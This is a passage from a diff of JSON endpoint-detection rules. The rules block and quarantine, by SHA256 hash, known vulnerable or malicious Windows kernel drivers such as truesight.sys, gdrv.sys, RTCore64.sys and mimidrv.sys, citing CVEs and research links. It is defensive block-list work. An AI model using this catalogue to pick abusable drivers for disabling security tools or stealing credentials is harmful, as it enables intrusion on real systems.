+  "last_update": "2026-03-23T11:45:31.813612Z",
+  "creation_date": "2026-03-23T11:45:31.813614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e92d6b974a50604b907b3f882a49cc75f0e54a027232d813aab13251257cb67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4141f367-f7c7-5020-a410-ef19da7cb172",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155380Z",
+  "creation_date": "2026-03-23T11:45:31.155382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71b7882a9b91d824c6c84fc30c5c1548fafb4e0d0eab9bfa2b45d087426a261d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "414667a5-0729-5123-8b4f-769fc65396d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613951Z",
+  "creation_date": "2026-03-23T11:45:29.613953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613959Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85ac17aec836d5125db7407d2dc3af8e5b01241fea781b2fd55aae796b3912b4",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4147429d-3679-5a6c-be91-1312caff0657",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822637Z",
+  "creation_date": "2026-03-23T11:45:30.822639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822644Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06c40abdf980ea22c8c4c50d9599db95d586354a8177e2cd670124e46a22a1f1",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "414ad226-9f53-5ece-b52f-8260ddbede02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609411Z",
+  "creation_date": "2026-03-23T11:45:29.609413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c92d943a465e20f50bae8d46ea38b635d2da85ae4e34f0170fd6f451890c76d7",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "414cd694-d4ff-5db9-8967-bb70dce84134",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976696Z",
+  "creation_date": "2026-03-23T11:45:29.976698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d579b1853c528e54464c2607e559591ee01b0ab75bc016c14de1c38068328a81",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4152ad10-3964-505e-8553-37a2ac65bec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604109Z",
+  "creation_date": "2026-03-23T11:45:29.604111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "facc577070cf72cb8d9247e36054fcb30c60a35ae056cffac7411648c513e642",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "415b6f59-ed24-59b7-8e81-32dc2311d321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827158Z",
+  "creation_date": "2026-03-23T11:45:31.827160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7ff86dc7076bdbb447663074f8fe865a6a2df699dec55ffe0a268f086a3b9b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "415df284-d94d-59f2-9e4a-969b80a31fd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488604Z",
+  "creation_date": "2026-03-23T11:45:31.488606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51a63a7cd94daa409f8ef380dd382efe5b0a667092333d06115d2ff370991736",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41727382-77d5-52db-9e3f-8a2497681a31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492539Z",
+  "creation_date": "2026-03-23T11:45:31.492541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b280e3370a7ea9f36a88fe087c4c0cd078274d7910726ff4dfe996786a0ffa9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "417d8ba5-a58a-527b-8bb3-97c60564f7c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607706Z",
+  "creation_date": "2026-03-23T11:45:29.607708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8399e5afd8e3e97139dffb1a9fb00db2186321b427f164403282217cab067c38",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "417e97dd-2309-5a74-a10f-3ddd39819a3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983630Z",
+  "creation_date": "2026-03-23T11:45:29.983632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8920dedd3c5488ecc1db2ace55b2000d4cebf899c5e591b429d3f7767eee2216",
+  "comment": "Vulnerable Kernel Driver (aka HOSTNT.sys) [https://www.loldrivers.io/drivers/e42cd285-4dda-4086-a696-93ab1d6f17ca/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4182c104-9471-5957-9e9d-a85182fa88b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468917Z",
+  "creation_date": "2026-03-23T11:45:30.468920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccadd6f8b6705e756544646d99f97030f291fc68377ce06f71e8c55512941c47",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "418aeb05-9824-5d35-a1fc-469cb07f4177",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475647Z",
+  "creation_date": "2026-03-23T11:45:30.475650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d84e3e250a86227c64a96f6d5ac2b447674ba93d399160850acb2339da43eae5",
+  "comment": "Vulnerable Kernel Driver (aka directio64.sys) [https://www.loldrivers.io/drivers/a254e684-f6eb-40c4-a50a-7b76feb6cc02/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "418f210f-f7f4-504f-a49a-ad39f94b86cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835573Z",
+  "creation_date": "2026-03-23T11:45:30.835575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835581Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af69ca9a69ca3f344d67646851347288fd12e7cdda2752c73d30330474eb9eca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "419a3541-0988-5d4f-9f97-5b3eff5934a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817480Z",
+  "creation_date": "2026-03-23T11:45:31.817482Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817487Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bd9897e9015714c68648a43917b55d785ed9cbb56f6f8dab29bedb683a9c8b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "419c1f2f-8fc1-5f34-970a-1b8bed129bbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816358Z",
+  "creation_date": "2026-03-23T11:45:30.816361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "733789d0a253e8d80cc3240e365b8d4274e510e36007f6e4b5fd13b07b084c3e",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "419e290d-a64e-511b-991f-207c02fd7463",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617954Z",
+  "creation_date": "2026-03-23T11:45:29.617956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617961Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15c53eb3a0ea44bbd2901a45a6ebeae29bb123f9c1115c38dfb2cdbec0642229",
+  "comment": "Vulnerable Kernel Driver (aka nt6.sys) [https://www.loldrivers.io/drivers/e71f0866-e317-44d4-a456-d6f0c555aa73/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41a13983-1ca5-52fe-a8b7-205ea2607ffb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816377Z",
+  "creation_date": "2026-03-23T11:45:30.816380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a01529ce82033d94802a3e0cc6a361d51200588068f5bd4f0a08ea05e061240f",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41a95312-c9dd-5551-b80f-18a1b32ccbaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609667Z",
+  "creation_date": "2026-03-23T11:45:29.609669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41aa1e0e-a7f7-54ba-b3e1-f48ccbfa4e72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614127Z",
+  "creation_date": "2026-03-23T11:45:29.614129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614135Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41aad461-f9a2-5115-a520-dd3e5d7fdc5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833147Z",
+  "creation_date": "2026-03-23T11:45:30.833150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99fc46919b6105ecf2d4dae5aca785ac652828e42faede1468be593e52c3acaf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "41b7d4bc-0327-5f72-83d5-2493afdb32f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811240Z",
+  "creation_date": "2026-03-23T11:45:31.811242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
